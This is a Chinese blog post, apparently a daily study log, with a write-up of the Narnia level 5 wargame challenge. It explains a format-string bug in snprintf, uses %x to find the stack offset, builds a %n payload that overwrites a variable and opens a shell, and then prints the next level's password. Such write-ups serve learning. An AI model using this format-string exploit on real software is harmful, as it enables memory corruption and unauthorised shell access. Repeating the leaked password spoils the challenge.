170830 WarGames-Narnia(5)

1625-5 王子昂 总结《2017年8月30日》 【连续第331天总结】
A. WarGames-Narnia5
B.

Level 5
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax@3
  int v5; // [sp+1Ch] [bp-44h]@1
  char v6; // [sp+5Bh] [bp-5h]@1
  signed int v7; // [sp+5Ch] [bp-4h]@1

  v7 = 1;
  snprintf((char *)&v5, 0x40u, argv[1]);
  v6 = 0;
  printf("Change i's value from 1 -> 500. ");
  if ( v7 == 500 )
  {
    puts("GOOD");
    system("/bin/sh");
  }
  puts("No way...let me give you a hint!");
  v3 = strlen((const char *)&v5);
  printf("buffer : [%s] (%d)\n", &v5, v3);
  printf("i = %d (%p)\n", v7, &v7);
  return 0;
}

本程序接收一个参数作为buffer,目标是令v7(i)的值变为500从而get shell

snprintf这个函数会自动在长度溢出时加上\0进行截断,因此不可能简单地通过溢出更改v7
printf系函数存在一个格式化字符漏洞:
由于print系是可变参数的函数,函数内部是不知道调用方传入多少参数的
所以当输入格式化字符%*时,函数就会认为还有参数而不断地向堆栈后部提取内容来显示

输入一个%s来试验:

narnia5@narnia:~$ /narnia/narnia5 %s
Change i’s value from 1 -> 500. No way…let me give you a hint!
buffer : [吚u^婰9L$岮v9塂] (23)
i = 1 (0xffffd74c)

确认存在格式化字符漏洞

这个漏洞的基础利用可以查看堆栈中的信息,从而得到GOT表地址、其他参数等信息
更可怕的是%n这个格式化字符,可以将后一个参数作为指针,把之前打印的字符个数写入指针指向的内存;这样能达到向任意地址写任意值的目的

hint中给出了v7的地址,因此我们需要手动构造出v7的指针,然后将500的值写入v7

首先我们需要找到指针的位置,即argv[1]参数被压入栈的地方:

narnia5@narnia:~$ /narnia/narnia5 AAAA.%08x.%08x.%08x.%08x.%08x
Change i’s value from 1 -> 500. No way…let me give you a hint!
buffer : [AAAA.f7eb8fe6.ffffffff.ffffd70e.f7e2fc34.41414141] (49)
i = 1 (0xffffd72c)

其中,%x表示以十六进制输入,08表示最小单位为8,不足时补0
这样可以显示出易读形式的内存

可以看到AAAA的ASCII被存放在后5个参数的地方,之后使用$跳选即可
并且知道了i的地址是0xffffd72c

narnia5@narnia:~$ /narnia/narnia5 $(python -c “print ‘\x2c\xd7\xff\xff.%494x.%5\$n’”)

其中:
1.i的地址可能会变导致出错,要注意观察
2.前面四个字符在python Print后不一定还是各1个字符(确切说一共6个字符),打印出来再修正就好了,小问题
3.在shell中,$会被认为是变量导致出错,我困扰了很久才想起来这个从第一题就坑我的点,而gdb中就没有这个问题,所以之前尝试的时候反而有成功过。但是WriteUp中都没有转义就能直接用╮(╯_╰)╭不明白为什么

GetShell后读password即可:

$ whoami
narnia6
$ cat /etc/narnia_pass/narnia6
neezocaeng

C. 明日计划
Narnia 6

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值